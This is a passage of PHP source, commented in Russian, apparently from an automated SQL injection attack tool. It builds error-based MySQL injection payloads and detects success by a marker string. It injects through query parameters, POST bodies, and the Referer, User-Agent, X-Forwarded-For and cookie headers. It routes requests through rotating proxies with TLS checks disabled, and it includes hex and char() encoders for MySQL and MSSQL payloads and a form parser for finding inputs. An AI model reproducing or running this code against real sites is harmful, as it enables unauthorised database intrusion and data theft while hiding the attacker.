$sp;\n\t\t\t\tbreak;\n\t\t\n\t\t\t}\n\t\t\t$sp++;\n\t\t}\n\n\t\t\n\t\tif($this-\u003eget_by_error==FALSE AND $this-\u003eget_by_error!=='')return false;\n\t\t\n\t\t$last = \"99.1\".$this-\u003eget_by_error.\"+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(CHAR(\".$this-\u003echarcher('FACKER').\"),floor(rand(0)*2)))+--+\".$this-\u003eget_by_error.\"x=\".$this-\u003eget_by_error.\"x\";\n\t\t\n\t\t//$this-\u003ed($this-\u003eurl.$last,'$this-\u003eurl.$last');\n\t\t\n\t\t$test = $this-\u003egetContents($this-\u003eurl.$last);\n\t\t\n\t\t//$this-\u003ed($test,'$test');\n\t\t\n\t\t\n\t\tif(strstr($test, 'FACKER'))\n\t\t{\n\n\t\t\t$this-\u003emethod = 4;\t\n\t\t\treturn true;\n\t\t\t\n\t\t}\n\n\t\treturn false;\n\t\t\n\t}\n\t\n\t\n\t\n\t////////////////////////////////////////////////////////////////\n\t//////////////////////Общие функции на всякий///////////////////\n\t////////////////////////////////////////////////////////////////\n\t\n\tfunction inj_test_get_head_all($url,$hs = array()){//нельзя для POST ИСПОЛЬЗОВАТЬ !!!! \n\t\t\n\t\t\n\t\t$all = array('referer','useragent','forwarder','cookies');\n\t\tif($hs['url'] !='')$url = $hs['url'];\n\t\t\n\t\t\n\t\t//$url = $this-\u003efilter_url($url);\n\t\t//$tmp = parse_url($url);\n\t\t//$url =$tmp['path']; \n\t\t\n\t\t\n\t\t\n\t\tforeach($all as $inj)\n\t\t{\n\t\t\t\n\t\t\t$hs['inject']=$inj;\n\t\t\t\n\t\t\t$test = $this-\u003einj_test_get_head($url,$hs);\n\t\t\n\t\t\tif($test!==false)\n\t\t\t{\n\t\t\t\treturn $inj;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\treturn false;\n\t}\n\t\n\tfunction inject_all($url2){//проверка всех строк в urls полностью\n\t\t$url2 = $this-\u003efilter_url($url2);\n\t\t\n\n\t\t$urls = $this-\u003eurlParseUrl($url2);\n\t\t\n\t\t\n\t\tforeach ($urls as $url_chek)\n\t\t{\n\t\t\t$this-\u003ed($url_chek,'PROVERKA URL inject_all');\n\t\t\t$this-\u003eurl = $url_chek;\n\t\t\t$test = $this-\u003einject($url_chek);\n\t\t\t//exit; \t\n\t\t\tif($test!==false)\n\t\t\t{\n\t\t\t\treturn 'inject';\n\t\t\t}\n\t\t}\t\n\t}\t\n\t\n\tfunction head_inject_all($url,$hs = array()){ //нельзя для POST ИСПОЛЬЗОВАТЬ !!!! \n\t\t\n\t\t\n\t\t$all = array('referer','useragent','forwarder','cookies');\n\t\tif($hs['url'] !='')$url = $hs['url'];\n\t\t\n\t\t\n\t\tforeach($all as $inj)\n\t\t{\n\t\t\t\n\t\t\t$hs['inject']=$inj;\n\t\t\t\n\t\t\t$test = $this-\u003ehead_inject($url,$hs);\n\t\t\n\t\t\tif($test!==false)\n\t\t\t{\n\t\t\t\treturn 'inject head - '.$inj;\n\t\t\t}\n\t\t\t\n\t\t}\n\t}\n\n\t\n\n\t////////////////////////////////////////////////////////////////\n\t//////////////////////СЛУЖЕБНЫЕ ФУНКЦИИ/////////////////////////\n\t////////////////////////////////////////////////////////////////\n\tpublic function check_head($url){\n\t\tif(stristr($url,'post::'))\n\t\t\t{\n\t\t\t\t$this-\u003ed('RABOTA S POST');\n\t\t\t\t\n\t\t\t\t$url = str_replace('post::','',$url);\n\t\t\t\t$tmp = explode(\"?\",$url);\n\t\t\t\t\n\t\t\t\t$this-\u003eh_s['cookies']='';\n\t\t\t\t$this-\u003eh_s['post']=$tmp[1];\n\t\t\t\t$this-\u003eh_s['inject']='post';\n\t\t\t\t$this-\u003eh_s['url']=$tmp[0];\n\t\t\t\treturn true;\n\t\t\t}\n\t}\n\t\n\tpublic function check_https($url='',$hs=array()){\n\t\n\tif($this-\u003ehttps_check==false)\n\t{\n\t\t\n\t\tif($url !='')\n\t\t{\n\t\t\tif(stristr($url,'https'))\n\t\t\t{\n\t\t\t\t$this-\u003ed('RABOTA S HTTPS');\n\t\t\t\t$this-\u003ehttps=true;\n\t\t\t}\n\t\t}\n\t\t\n\t\t//if($hs['https']==true ){$this-\u003ehttps=true;}else{$this-\u003ehttps=false;} \n\t\t\n\t\t$this-\u003ehttps_check=true;\n\t\t\n\t}\n\t\n}\t\n\n\tpublic function filter_url($url){\n\t\t\n\t\t$url = str_replace('get::','',$url);\n\t\n\t\t$url = str_replace('http://http://','http://',$url);\n\t\t$url = str_replace('https://https://','https://',$url);\n\t\t\n\t\n\t\t$url = str_replace('WWW.','www.',$url);\n\t\t$url = str_replace('wwwwww.','www.',$url);\n\t\t$url = str_replace('wwwwww','www',$url);\n\t\t\n\t\t\t\n\t\t\t\n\t\t$url = str_replace(\"http://http://\",\"\",$url);\n\t\t$url = str_replace(\"https://http://\",\"\",$url);\n\t\t$url = str_replace(\"https://https://\",\"\",$url);\n\t\t$url = str_replace(array(\"http://\",\"https://\"),\"\",$url);\t\n\t\t\n\t\t$url = str_replace('//','/',$url);\n\t\t$url =  trim($url);\n\t\t\n\t\t//$this-\u003ed($url,'url filter_url');\n\t\treturn $url;\n\t\t\n\t}\n\t\t\n\tpublic function get_to_post($url){\n\t\t\n\t\t\n\t\t$r = explode('?',$url);\n\t\t\n\t\t$data['url']     = \t$r[0];\n\t\t$data['post']     = $r[1];\n\t\treturn $data;\n\t}\n\n\tpublic function filter_str($url){ //функция для очистки строки при выводе (юзера версии)\n\t\t$url = str_replace(\"'\",\"\",$url);\n\t\t$url = str_replace(\"\\\"\",\"\",$url);\n\t\t//$url = str_replace(\"https://https://\",\"\",$url);\n\t\t//$url = str_replace(array(\"http://\",\"https://\"),\"\",$url);\n\t\treturn $url;\n\t\t\n\t}\n\t\n\tpublic function getContents($url,$time=20){//функция для подготовки потока\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tif(is_file('stop.txt'))\n\t\t{\n\t\t\t\n\t\t\t@unlink('stop.txt');\n\t\t\t@unlink('process.txt');\n\t\t\t\n\t\t\t$fh = fopen('process.txt', \"a+\");\n\t\t\tfwrite($fh, time().'|NO'.\"\\n\");\n\t\t\tfclose($fh);\n\t\t\t\n\t\t\tdie('stopped');\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t//$this-\u003ed($url,'$url');\n\t\t$this-\u003eurl_old = $url;\n\t\t\n\t\tif($this-\u003eurl_encode==true){\n\t\t\t$url = str_replace(array('+',' '), '%20',$url);\n\t\t\t\n\t\t}else{\n\t\t\t$url = str_replace('+', ' ',$url);\n\t\t}\n\t\t\n\t\t\n\t\t$this-\u003eurls[] = $url;\n\t\t\n\t\tif(isset($this-\u003etimeaut))$time=$this-\u003etimeaut;\n\t\n\t\t\t\n\t\tif($this-\u003emethod_old ==false)\n\t\t{\t\n\t\t\t$contents = $this-\u003eget_web_page($url);\n\t\t}\n\t\t\n\n\t\tif($contents=='' or $this-\u003emethod_old==true)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\t$this-\u003eurl_old = str_replace('-- +', 'goodfff',$this-\u003eurl_old);\n\t\t\t$this-\u003eurl_old = str_replace('++', '+',$this-\u003eurl_old);\n\t\t\t$this-\u003eurl_old = str_replace('+', ' ',$this-\u003eurl_old);\n\t\t\t$this-\u003eurl_old = str_replace('goodfff', '-- +',$this-\u003eurl_old);\n\t\t\t\n\t\t\t\n\t\t\t$contents = $this-\u003eget_web_page($this-\u003eurl_old);\n\t\t\t\n\t\t\tif($this-\u003edebug==true){$this-\u003ed($contents,'$contents getcontents');}\n\t\t\t\n\t\t\tif($contents !=''){$this-\u003emethod_old=true;}\n\t\t}\n\t\t\t\n\n\n\treturn $contents;\n\t\n}\n\t\n\tpublic function get_web_page($url,$proxy = FALSE,$ct = 1 ){\n            \n\t\t  \t\n\t\t\n\t\tif($this-\u003ehead_enable==true AND $this-\u003eh_s['head'] != 'GET'){\n\t\t\t\n\t\t\t$data = $this-\u003eget_to_post($url);\n\t\t\t$url = $data['url'];\n\t\t\t$qq = $data['post'];\n\t\t\t//$this-\u003ed($data,'$data');\n\t\t\t\n\t\t\t$this-\u003eform_set['form_post_query'] =$qq;\n\t\t\t\n\t\t}\n\t\t\n\t\t$url = str_replace(array('http://','https://'),'',$url);\n\t\t\n\t\tif($this-\u003ehttps)\n\t\t{\n\t\t\t$url_new = 'https://'.$url;\n\t\t}else\n\t\t{\n\t\t\t$url_new = 'http://'.$url;\n\t\t}\n\t\t\n\t\tif($this-\u003eh_s['post_static_url'] !=''){\n\t\t\t\n\t\t\t$url_new = $this-\u003eh_s['post_static_url'];\n\t\t}\n\t\t\n\t\tif($this-\u003eh_s['query'] !=''){\n\t\t\t$url_new = str_replace('?','',$url_new);\n\t\t\t$url_new = $url_new.'?'.$this-\u003eh_s['query'];\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\tif($this-\u003edebug==true){$this-\u003ed($url_new,'$url_new_get_web_page');flush();}\n\t\t\n\t\t\n\t\t\n\t\t$ch = curl_init( );\n\t\tcurl_setopt($ch, CURLOPT_URL, $url_new);           //url страницы\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);   //возращаться в файл \n\t\tif($this-\u003ehttps)\n\t\t{\n\t\t\tcurl_setopt($ch, CURLOPT_VERBOSE, true);\n\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\t\t\t\n\t\t}\n\t\tif($this-\u003eheader==true)\n\t\t{\n\t\t\tcurl_setopt($ch, CURLOPT_HEADER, 1);           //возвращать заголовки\n\t\t}else\n\t\t{\n\t\t\tcurl_setopt($ch, CURLOPT_HEADER, 0);           //возвращать заголовки\n\t\t}\n\t\n\t\tif($this-\u003ehead_enable==true){\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\tif($this-\u003eh_s['post_static'] !=''){\n\t\t\t\t$this-\u003ed($this-\u003eh_s['post_static'],'post_static');\n\t\t\t\tcurl_setopt($ch, CURLOPT_POST, true);\n\t\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, \t$this-\u003eh_s['post_static']);\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003eh_s['post'] !=''){\n\t\t\t\n\t\t\t\tif($this-\u003eh_s['inject'] =='post')\n\t\t\t\t{\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_POST, true);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, \t$qq);\n\t\t\t\t\tif($this-\u003edebug==true){$this-\u003ed(\"$qq\",'post qq');}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003eh_s['forwarder'] !=''){\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\tif($this-\u003eh_s['inject'] =='forwarder'){\n\t\t\t\t\t\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array (\"x-forwarder-for: $this-\u003eh_s['sqli']\"));\n\t\t\t\t\tif($this-\u003edebug==true){$this-\u003ed(\"$qq\",'forwarder qq');}\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array(\"x-forwarder-for: \".$this-\u003eh_s['forwarder']));\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003eh_s['useragent']  !=''){\n\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003eh_s['inject'] =='useragent'){\n\t\t\t\t\t\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_USERAGENT, \"$qq\");\n\t\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($qq,'useragent qq');}\n\t\t\t\t}else{\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_USERAGENT, $this-\u003eh_s['useragent']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003eh_s['referer'] !=''){\n\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003eh_s['inject'] =='referer'){\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_REFERER, \"$qq\");\n\t\t\t\t\tif($this-\u003edebug==true){$this-\u003ed(\"$qq\",'referer qq');}\n\t\t\t\t}else{\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_REFERER, $this-\u003eh_s['referer']);\n\t\t\t\t}\t\t\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003eh_s['cookies'] !=''){\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003eh_s['inject'] =='cookies'){\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_COOKIE, \"$qq\");\n\t\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($qq,'cookies qq');}\n\t\t\t\t}else{\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_COOKIE, $this-\u003eh_s['cookies']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003eh_s['cookies_static'] !=''){\n\t\t\t\n\t\t\t\tcurl_setopt($ch, CURLOPT_COOKIE, $this-\u003eh_s['cookies_static']);\n\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($this-\u003eh_s['cookies_static'],'cookies_static');}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\t@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   //переходить по ссылками \n\t\tcurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 18);  //таймаут соединения \n\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 18);         //тоже самое \n\t\tcurl_setopt($ch, CURLOPT_MAXREDIRS, 5);       //количество переходов \n\t\t\n\t\t \n\t\t\n\t    if($this-\u003eproxy != ''  AND $this-\u003eproxy_enable == true)\n\t\t{ \n\t\t\t$rand_keys = array_rand ($this-\u003eproxy);\n\t\t\t\n\t\t\t$s = explode(':',$this-\u003eproxy[$rand_keys]);\n\t\t\t\n\t\t\tcurl_setopt($ch, CURLOPT_PROXY, trim($s[0]).':'.trim($s[1])); \n\t\t\t\t\n\t\t}\n\t\t \n          \n\t\t$content = curl_exec( $ch );\n\t\t$err     = curl_errno( $ch );\n\t\t$errmsg  = curl_error( $ch );\n\t\t$head = curl_getinfo( $ch );\n          \n\t\tif($err !=0)\n\t\t{\n\t\t\t$this-\u003eerror = 1;\n\t\t\tif($this-\u003eproxy == '' AND $this-\u003eproxy_enable == true)\n\t\t\t{\n\t\t\t\t$this-\u003ed('67 -  false');\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t  \n\t\t  \n\t\t \n\t\t //$this-\u003ed($err,'err');\n\t\t //$this-\u003ed($errmsg,'errmsg');\n\t\t //$this-\u003ed($head,'head');\n\t\t //$this-\u003ed($content,'content');\n\t\t \n\t\t \n\t\t  \n\t\t\n\t\t  \n\t\t  $header['header'] =  $head;\n          $header['errno']   = $err;\n          $header['errmsg']  = $errmsg;\n          $header['content'] = $content;\n          \n\t\t  flush();\n\t\t  curl_close( $ch );\n\t\t\n\t\t//$this-\u003ed($header['header'],'$header');\n\t\t//$this-\u003ed($header,'$header');\n\t\t//$this-\u003ed($this-\u003emssql,'$this-\u003emssql');\n\t\t\n\t\t//exit;\n\t\t\n\t\tif($this-\u003emssql == true)\n\t\t{\n\t\t\tif(preg_match(\"/401|402|406/i\",$header['header']['http_code']))\n\t\t\t{\n\t\t\t\t//$this-\u003eerror = 1;\n\t\t\t\t$this-\u003ed($header['header']['http_code'].' - /401|402|406/ return false MSSQL');\n\t\t\t\t$this-\u003ed($header['header']['http_code'],'code');\n\t\t\t\t//$this-\u003ed($header['content'],'content');\n\t\t\t\t//return false;\n\t\t\t}\t\n\t\t}else\n\t\t{\n\t\t\t\n\t\t\tif(preg_match(\"/401|402|403|404|406|501|502|503/i\",$header['header']['http_code']))\n\t\t\t{\n\t\t\t\t//$this-\u003eerror = 1;\n\t\t\t\t//$this-\u003ed($header['header']['http_code'].' - /401|402|403|404|406|501|502|503/ return false ALL');\n\t\t\t\t//$this-\u003ed($header['header']['http_code'],'code');\n\t\t\t\t//$this-\u003ed($header['content'],'content');\n\t\t\t\t//return false;\n\t\t\t}\n\t\t}\n\n\t\t  $ans['content'] = $content;\n\t\t  $ans['size'] = round(trim($head['size_download'])/1024, 1);\n\t\t  $ans['url'] = $url;\n\t\t  \n\t\t  if($ct == 1){//только сам контент возвращает\n\t\t\treturn $header['content'];\n\t\t  }elseif($ct == 2){//только размер возвращает\n\t\t\treturn $header['header']['size_download'];\n\t\t  }elseif($ct == 3){//полный возврат всего\n\t\t\treturn $header;\n\t\t  }elseif($ct == 4){//возврат размера с округлением\n\t\t\treturn round(trim($header['header']['size_download'])/1024, 1);\n\t\t  }elseif($ct == 5){//возврат размера с округлением\n\t\t\treturn $ans;\n\t\t  }elseif($ct == 6){//возврат заголовков\n\t\t\treturn $header['header'];\n\t\t  }\n        }\t\n\n\tpublic function myGetHeader($url){ \n\n\t\t\t$url = parse_url($url);\n\n\t\t\t$post = '';\n  \n\t\t\t//$fp = fsockopen($hostname)\n\t\t\t\n\t\t\tif(!$fp = fsockopen($url['host'], 80,$err,$strr,3))  {\n\t\t\t\tfclose($fp);\n\t\t\t\treturn false;\n\t\t\t}\n  \n\t\t\tif ($fp) {  \n\n\t\t\t\tfputs($fp, \"POST \".$url['path'].\" HTTP/1.1\\r\\nHost: \".$url['host'].\" \\r\\n\".  \n                \"User-Agent: gogle chrome:D \\r\\nContent-Type:\".  \n                \" application/x-www-form-urlencoded\\r\\n\".  \n                \"Content-Length: \".strlen($post).\"\\r\\n\".  \n                \"Connection: close\\r\\n\\r\\n$post\");  \n        \n\t\t\t\t$content = '';  \n        \n\t\t\t\twhile (!feof($fp)) {  \n\n\t\t\t\t\t$cont  = fgets($fp);  \n\t\t\t\t\n\t\t\t\t\tif(trim($cont)==''){\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\treturn $content;  \n\t\t\t\t\t}else{\n\t\t\t\t\t\t$content [] = $cont;  \n\t\t\t\t\t}\n        \n\t\t\t\t}  \n\t\t\t\t\n\t\t\t\tfclose($fp); \n\t\t\t\t\n\t\t\t\treturn $content;\n\t\t\t\t\n  \n    }  \n   return $content;\n }  \n\t\n\tpublic function logg($str,$type='1'){//функция вывода на экран\n\t//1 - \"[+]\", 2 - \"[-]\", 3 - \"[*]\", 4 - \"\"\n\t$ret = '';\n\tif(($type\u003c4)\u0026\u0026($type\u003e0)){\n\t\t$z=array('+','-','*');\n\t\t$ret='\u003cbr\u003e['.$z[$type-1].'] '.$str.\"\u003cbr\u003e\\r\\n\";\n\t}else{\n\t\tif($type==4)$ret= '\u003cbr\u003e'.$str.\"\u003cbr\u003e\\r\\n\";\n\t}\n\n\techo($ret);\n\t//$fp=fopen('./log.txt','a');\n\t//fwrite($fp,$ret);\n\t//fclose($fp);\n\tflush();\n}\n\t\t\n\tpublic function url_set($query,$name){//возвращает полный url + запись в лог\n\n\n\t$tmp = $this-\u003eset['full'].$query;\n\t\n\t\n\tif($name)$this-\u003esqli[$name][] = rawurldecode($tmp);//для лога\n\tif($name)$this-\u003esqli[$name.'_encode'][] = $tmp;//для лога\n\treturn $tmp;\n\n}\t\n\n\tpublic function urlParseUrl($url){\n\n\t\t$url = str_replace('\u0026amp;', \"\u0026\", $url);\n\t\t\n\t\tif(!strstr($url, '\u0026'))\n\t\t{\t\n\t\t\treturn array($url);\n\t\t}\n\t\t\n\t\t$url_parse = parse_url($url);\n\t\t$url_params = explode('\u0026', $url_parse['query']);\n\t\t\n\t\t\n\t\tforeach ($url_params as $param)\n\t\t{\n\n\t\t\t$good_url = str_replace($param, '', $url).'\u0026'.$param;\n\t\t\t$good_url = str_replace('\u0026\u0026', '\u0026', $good_url);\n\t\t\t$good_url = str_replace('?\u0026', '?', $good_url);\n\t\t\t\n\t\t\t$new[] = $good_url;\n\t\t\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\treturn $new;\n//\t\tdie();\n\t}\n\t\n\tpublic function urlParseUrl3($url){//для add функции при добавлении в pull\n\n\t\t$url = str_replace('\u0026amp;', \"\u0026\", $url);\n\t\t\n\t\t\n\t\t$url_parse = parse_url($url);\n\t\t\n\t\t//$this-\u003ed($url_parse,'$url_parse');\n\t\t\n\t\t$url_params = explode('\u0026', $url_parse['query']);\n\t\t\n\t\t\n\t\t//$this-\u003ed($url_params,'$url_params');\n\n\t\t$str = '';\n\t\t\n\t\tforeach ($url_params as $param)\n\t\t{\n\n\t\t\t$ppp = explode('=', $param);\n\t\t\t\n\t\t\tif(isset($ppp[0]) AND strlen($ppp[0])\u003e1){\n\t\t\t\t$str .=$ppp[0].':';\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\t$res =  substr($str,0,-1);\n\t\t\n\t\t\n\t\treturn $res;\n\t\t\n\t}\n\t\n\tpublic function postParseUrl($query){\n\n\t\t$query = str_replace('\u0026amp;', \"\u0026\", $query);\n\t\t\n\t\t\n\t\t$url_params = explode('\u0026', $query);\n\t\t\n\t\t\n\t\tforeach ($url_params as $param)\n\t\t{\n\t\t\t//$param = str_replace('\u0026', '', $param);\n\t\t\n\t\t\t$good_url = str_replace($param, '', $query).'\u0026'.$param;\n\t\t\t$good_url = str_replace('\u0026\u0026', '\u0026', $good_url);\n\t\t\t$good_url = str_replace('?\u0026', '?', $good_url);\n\t\t\t\n\t\t\t//$this-\u003ed($good_url,'$good_url');\n\t\t\t\n\t\t\tif($good_url[0] == '\u0026'){\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$good_url = substr($good_url,1);\n\t\t\t}\n\n\t\t\t\n\t\t\t$query2[] = $good_url;\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\treturn $query2;\n//\t\tdie();\n\t}\n\t\n\tpublic function strtohex($string) { //служебная функция копирования\n  \n\t\t  $hex='0x';\n    for ($i=0; $i \u003c strlen($string); $i++)\n    {\n        $hex .= dechex(ord($string[$i]));\n    }\n    return $hex;\n  \n\t\t//return('0x'.$s); \n\n\t} \n\n\tpublic function asciiEncode($str){//переводит в ascii\n      if(!preg_match(\"/^0x[A-Fa-f0-9]+/\",$str)){\n       return FALSE;   //Not a hex string\n      }\n       $str = substr($str,2);\n     $asciiString = \"\";\n      for($i=0;isset($str[$i]);$i+=2){\n       $hexChar = substr($str,$i,2);\n        $asciiString .= chr(hexdec($hexChar));\n      }\n   return $asciiString;\n}\n\t\n\tpublic function HexValue($fitri){//переводит в hex\n\t$a = '';\n\tfor($i = 0; $i \u003c strlen($fitri); $i++)\n\t{\n\t\t$a .= dechex(ord($fitri[$i]));\n\t}\n\treturn $a;\n\t}\n\t\n\tpublic function proxy_inj($proxy){\n\t\n\t\t//print_r($proxy);\n\t\t//die('aaaaaaaaaaaaaaaaaahhhhh');\n\t\n\t\tif(count($proxy) \u003e 0)\n\t\t\t{\n\t\t\t\t//$rand_keys = array_rand ($proxy);\n\t\t\t\t//$this-\u003eproxy = $proxy[$rand_keys];\n\t\t\t\t//$this-\u003ed($this-\u003eproxy,'$this-\u003eproxy');\n\t\t\t\t$this-\u003eproxy_enable=true;\n\t\t\t\t$this-\u003eproxy = $proxy;\n\t\t\t\t\n\t\t\t\t\n\t\t\t}else\n\t\t\t{\t\n\t\t\t\tdie('NOT PROXY(proxy_inj)');\n\t\t\t}\n\t\t\t\n\t\n\t}\n\t\n\tpublic function charcher($code){//в другую кодировку перевод\n\t\n\t\t\n\t\tfor($i=0;$i\u003cstrlen($code);$i++){\n\t\t\n\t\t\t\n\t\t\t@$text.=ord($code[$i]);\n\t\t\n\t\t\tif($i!==strlen($code)-1){\n\t\t\t\n\t\t\t\t@$text.=',';\n\t\t\n\t\t\t}\n\t\t\n\t\t}\n\t\treturn $text;\n\t}\n\t\n\tpublic function charcher_mssql($code){//в другую кодировку перевод\n\t\n\t\tfor($i=0;$i\u003cstrlen($code);$i++){\n\t\t\n\t\t\t\n\t\t\t@$text=ord($code[$i]);\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t@$text_all.=\"char($text)+\";\n\t\t\n\t\t\t\n\t\t\n\t\t}\n\t\t\n\t\t//return  $text_all;\n\t\t\n\t\treturn substr($text_all, 0, -1);\n\t}\n\t\n\tpublic function d($txt,$text = '',$p = false){\n\t\tif($this-\u003elog_enable != false)\n\t\t{\n\t\t\tif($text != ''){echo \"\u003cbr\u003e------\u003e\u003e{$text}\u003c\u003c-------\u003cbr\u003e\";}\n\t\t\t\n\t\t\t\n\t\t\tif(is_array($txt) and $p !=false)\n\t\t\t{\n\t\t\t\tforeach($txt as $t)\n\t\t\t\t{\n\t\t\t\t\techo $t.'\u003cbr\u003e';\n\t\t\t\t}\n\t\t\t\n\t\t\t}else{\n\t\t\t\techo '\u003cpre\u003e';\n\t\t\t\tprint_r($txt);\n\t\t\t\techo '\u003c/pre\u003e';\n\t\t\t}\n\t\t\tif($text != ''){echo \"------\u003e\u003e{$text}\u003c\u003c-------\u003cbr\u003e\";}\n\t\t}\n\t}\n\t\n\tpublic function dd($txt,$text = '',$p = false){\n\t\t\n\t\t\tif($text != ''){echo \"\u003cbr\u003e------\u003e\u003e{$text}\u003c\u003c-------\u003cbr\u003e\";}\n\t\t\t\n\t\t\t\n\t\t\tif(is_array($txt) and $p !=false)\n\t\t\t{\n\t\t\t\tforeach($txt as $t)\n\t\t\t\t{\n\t\t\t\t\techo $t.'\u003cbr\u003e';\n\t\t\t\t}\n\t\t\t\n\t\t\t}else{\n\t\t\t\techo '\u003cpre\u003e';\n\t\t\t\tprint_r($txt);\n\t\t\t\techo '\u003c/pre\u003e';\n\t\t\t}\n\t\t\tif($text != ''){echo \"------\u003e\u003e{$text}\u003c\u003c-------\u003cbr\u003e\";}\n\t\t\n\t}\n\n\tpublic function deb($text,$prim = ''){\n\n\t\techo \"\u003cbr\u003e--------$prim---------\u003cbr\u003e\";\n\t\techo  \"\u003cpre\u003e\";\n\t\tprint_r ($text);\n\t\techo \"\u003c/pre\u003e\";\n\t}\n\n\t\n}\n\n\nclass HtmlFormParser {\n\t\n\t/**\n\t * Core HTML Data\n\t * @access public\n\t * @var string\n\t * @see HtmlFormParser()\n\t */\n\tvar $html_data = '';\n\t\n\t/**\n\t * Param Array of all Elemets\n\t * @access private\n\t * @var array\n\t */\n\tvar $_return = array();\n\t\n\t/**\n\t * Form counter\n\t * @access private\n\t * @var int\n\t */\n\tvar $_counter = '';\n\t\n\t/**\n\t * Form button Counter\n\t * @access private\n\t * @var int\n\t * @see parseForms()\n\t */\n\tvar $button_counter = '';\n\t\n\t/**\n\t * unique identifiert for parsing\n\t * @access private\n\t * @var string\n\t * @see HtmlFormParser()\n\t */\n\tvar $_unique_id = '';\n\t \n\t/**\n\t * HtmlFormParser Constructor\n\t * @access public\n\t * @param mixed $html_data Could be either an big array or an string\n\t */\n\tfunction HtmlFormParser( $html_data ) {\n\t\tif ( is_array($html_data) ) {\n\t\t\t$this-\u003ehtml_data = join('', $html_data);\n\t\t} else {\n\t\t\t$this-\u003ehtml_data = $html_data;\n\t\t}\n\t\t$this-\u003e_return = array();\n\t\t$this-\u003e_counter = 0;\n\t\t$this-\u003ebutton_counter = 0;\n\t\t$this-\u003e_unique_id = md5(time());\n\t}\n\t\n\t/**\n\t * Parse all Forms in given Data\n\t * @access public\n\t * @return array\n\t */\n\tfunction parseForms() {\n\t\tif ( preg_match_all(\"/\u003cform.*\u003e.+\u003c\\/form\u003e/isU\", $this-\u003ehtml_data, $forms) ) \n\t\t{\n\t\t\tforeach ( $forms[0] as $form ) \n\t\t\t{\n\t\t\t\t/*\n\t\t\t\t * Form Details like method, action ..\n\t\t\t\t */\n\t\t\t\tpreg_match(\"/\u003cform.*name=[\\\"']?([\\w\\s]*)[\\\"']?[\\s\u003e]/i\", $form, $form_name);\n\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_data']['name'] = preg_replace(\"/[\\\"'\u003c\u003e]/\", \"\", $form_name[1]);\n\t\t\t\tpreg_match(\"/\u003cform.*[^\\?]action=(\\\"([^\\\"]*)\\\"|'([^']*)'|[^\u003e\\s]*)([^\u003e]*)/is\", $form, $action);\n\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_data']['action'] = preg_replace(\"/[\\\"'\u003c\u003e]/\", \"\", $action[1]);\n\t\t\t\tpreg_match(\"/\u003cform.*method=[\\\"']?([\\w\\s]*)[\\\"']?[\\s\u003e]/i\", $form, $method);\n\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_data']['method'] = preg_replace(\"/[\\\"'\u003c\u003e]/\", \"\", $method[1]);\n\t\t\t\tpreg_match(\"/\u003cform.*enctype=(\\\"([^\\\"]*)\\\"|'([^']*)'|[^\u003e\\s]*)([^\u003e]*)/is\", $form, $enctype);\n\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_data']['enctype'] = preg_replace(\"/[\\\"'\u003c\u003e]/\", \"\", $enctype[1]);\n\n\n\t\t\t\t/*\n\t\t\t\t * \u003ctextarea entries\n\t\t\t\t */\n\t\t\t\t \n\t\t\t\t //\techo 1111111111111111111;\n\t\t\t\t\t//print_r($form);\n\t\t\t\t \n\t\t\t\tif ( preg_match_all(\"/\u003ctextarea.*\u003e.*\u003c\\/textarea\u003e/isU\", 